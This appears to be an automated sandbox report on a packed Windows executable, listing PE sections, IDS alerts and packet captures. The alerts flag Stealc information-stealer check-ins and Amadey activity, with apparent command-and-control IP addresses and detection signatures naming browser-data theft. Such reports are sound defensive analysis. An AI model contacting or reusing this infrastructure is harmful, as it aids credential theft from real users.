IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	6469869c6eea2b912242f121762bdf14	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	762485730ebc7596287a8fcfda97fafd	False	0.580078125	data	4.572700601716716	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2b7000	0x200	578f73242842af95fa1bb2d97c6c3aa4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lgjpmlrc	0x503000	0x1aa000	0x1a9600	8d4dad87bf0000f9d59b9a5c56df83d4	False	0.994951031259183	data	7.95444458255911	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fjrpqkrp	0x6ad000	0x1000	0x400	672086dabb610971c2443af680f808a2	False	0.828125	data	6.365682725561269	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6ae000	0x3000	0x2200	c9510cf2a8a9a4870847be66e76b5781	False	0.06491268382352941	DOS executable (COM)	0.7617264609821075	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x6ac318	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T21:05:17.971432+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-20T21:05:18.422003+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-20T21:05:18.549477+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49701	TCP
2024-11-20T21:05:18.943174+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-20T21:05:19.065024+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.7	49701	TCP
2024-11-20T21:05:20.516987+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-20T21:05:21.606258+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49701	185.215.113.206	80	TCP
2024-11-20T21:05:44.215942+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:46.212160+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:47.516237+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:48.645243+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:52.389073+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:53.473132+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49780	185.215.113.206	80	TCP
2024-11-20T21:05:59.719862+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49899	185.215.113.16	80	TCP
2024-11-20T21:07:17.492895+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	50081	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 21:05:09.265717030 CET	49674	443	192.168.2.7	104.98.116.138
Nov 20, 2024 21:05:09.265743971 CET	49675	443	192.168.2.7	104.98.116.138
Nov 20, 2024 21:05:09.359543085 CET	49672	443	192.168.2.7	104.98.116.138
Nov 20, 2024 21:05:10.469192028 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 21:05:10.843971014 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 21:05:11.593851089 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 21:05:13.093837023 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 21:05:15.921080112 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:16.040921926 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:16.041023016 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:16.041933060 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:16.078255892 CET	49677	443	192.168.2.7	20.50.201.200
Nov 20, 2024 21:05:16.162039042 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:17.470629930 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:17.470802069 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:17.489764929 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:17.610438108 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:17.971348047 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:17.971431971 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:17.973197937 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:18.093203068 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:18.421926975 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:18.421971083 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:18.422003031 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:18.422024965 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:18.423616886 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:18.549477100 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:18.727756023 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:18.727787018 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:18.727895021 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:18.728348970 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:18.728365898 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:18.875282049 CET	49674	443	192.168.2.7	104.98.116.138
Nov 20, 2024 21:05:18.875333071 CET	49675	443	192.168.2.7	104.98.116.138
Nov 20, 2024 21:05:18.942974091 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:18.943015099 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:18.943048954 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:18.943082094 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:18.943115950 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:18.943149090 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:18.943173885 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:18.943173885 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:18.943209887 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:18.945275068 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:18.969113111 CET	49672	443	192.168.2.7	104.98.116.138
Nov 20, 2024 21:05:19.065023899 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:19.394103050 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:19.394304037 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:19.416949034 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:19.416996956 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:19.536598921 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:19.536633015 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:19.536689043 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:19.536717892 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:19.536766052 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:19.536793947 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:20.516890049 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:20.516987085 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:20.665113926 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:20.665205956 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:20.813829899 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:20.813846111 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:20.814227104 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:20.859568119 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:20.866497993 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:20.907335043 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.159904957 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.275767088 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.275799036 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.275808096 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.275844097 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.275893927 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.275930882 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.275942087 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.275980949 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.276010990 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.279426098 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.441654921 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.441683054 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.441843033 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.441849947 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.442008018 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.498184919 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.498205900 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.498413086 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.498420954 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.498472929 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.604906082 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.604927063 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.605225086 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.605232000 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.605283022 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.606194973 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.606257915 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.606762886 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.606812954 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.610398054 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.610456944 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.611924887 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.611979961 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.612277031 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.612327099 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.620338917 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.620423079 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.620521069 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.620574951 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.628858089 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.628946066 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.629318953 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.629367113 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.637115002 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.637192965 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.637332916 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.637382030 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.644831896 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.644881964 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.644947052 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.644952059 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.644996881 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.645565033 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.645622015 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.676590919 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.676613092 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.676686049 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.676692963 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.676732063 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.676752090 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.696348906 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.696394920 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.696460962 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.696468115 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.696508884 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.696527004 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.762485981 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.762569904 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.762660027 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.762722015 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.766417980 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.766475916 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.766865969 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.766927004 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.772908926 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.772964954 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.773412943 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.773467064 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.781316042 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.781378984 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.781469107 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.781518936 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.789644957 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.789725065 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.790052891 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.790101051 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.802947044 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.802973032 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.803025007 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.803031921 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.803066969 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.803085089 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.807477951 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.807544947 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.807562113 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.807621002 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.811693907 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.811779976 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.811853886 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.819444895 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.819466114 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.819536924 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.819541931 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.819586992 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.820187092 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.820245981 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.820487022 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.820542097 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.828552961 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.828589916 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.828603983 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.828639030 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.834893942 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.834912062 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.834979057 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.834985971 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.835033894 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.836867094 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.836921930 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.836934090 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.836968899 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.845283031 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.845376015 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.845428944 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.845490932 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.849808931 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.849831104 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.849900961 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.849906921 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.849951982 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.853694916 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.853763103 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.853940964 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.853998899 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.862700939 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.862723112 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.862807989 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.862812996 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.862862110 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.876904011 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.876924038 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.876988888 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.876996994 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.877046108 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.882893085 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.882967949 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.883102894 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.883172035 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.883177996 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.883188009 CET	49702	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.883192062 CET	443	49702	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.887439013 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.887475967 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.887502909 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.887526989 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.892719030 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.892755985 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.892788887 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.892812014 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.899713993 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.899780989 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.899952888 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.900015116 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.905960083 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.906027079 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.906250954 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.906300068 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.914385080 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.914437056 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.917021036 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.917087078 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.937197924 CET	49703	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.937228918 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.937313080 CET	49703	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.938298941 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.938330889 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.938461065 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.938472033 CET	49703	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.938482046 CET	443	49703	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.939347982 CET	49704	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.939363003 CET	443	49704	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.939975977 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.940018892 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.940128088 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.940227032 CET	49705	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.940256119 CET	443	49705	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.940679073 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.940689087 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.940747023 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.941051006 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.941056967 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.941112995 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.941243887 CET	49707	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.941247940 CET	443	49707	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.941348076 CET	49706	443	192.168.2.7	13.107.246.63
Nov 20, 2024 21:05:21.941360950 CET	443	49706	13.107.246.63	192.168.2.7
Nov 20, 2024 21:05:21.963541031 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.963584900 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.963599920 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.963649988 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.966941118 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.966996908 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.967123985 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.967175007 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.973453045 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.973507881 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.974502087 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.974632025 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.980129004 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.980189085 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.980268955 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.980357885 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.986809015 CET	80	49701	185.215.113.206	192.168.2.7
Nov 20, 2024 21:05:21.986867905 CET	49701	80	192.168.2.7	185.215.113.206
Nov 20, 2024 21:05:21.987643957 CET	80	49701	185.215.113.206	192.168.2.7
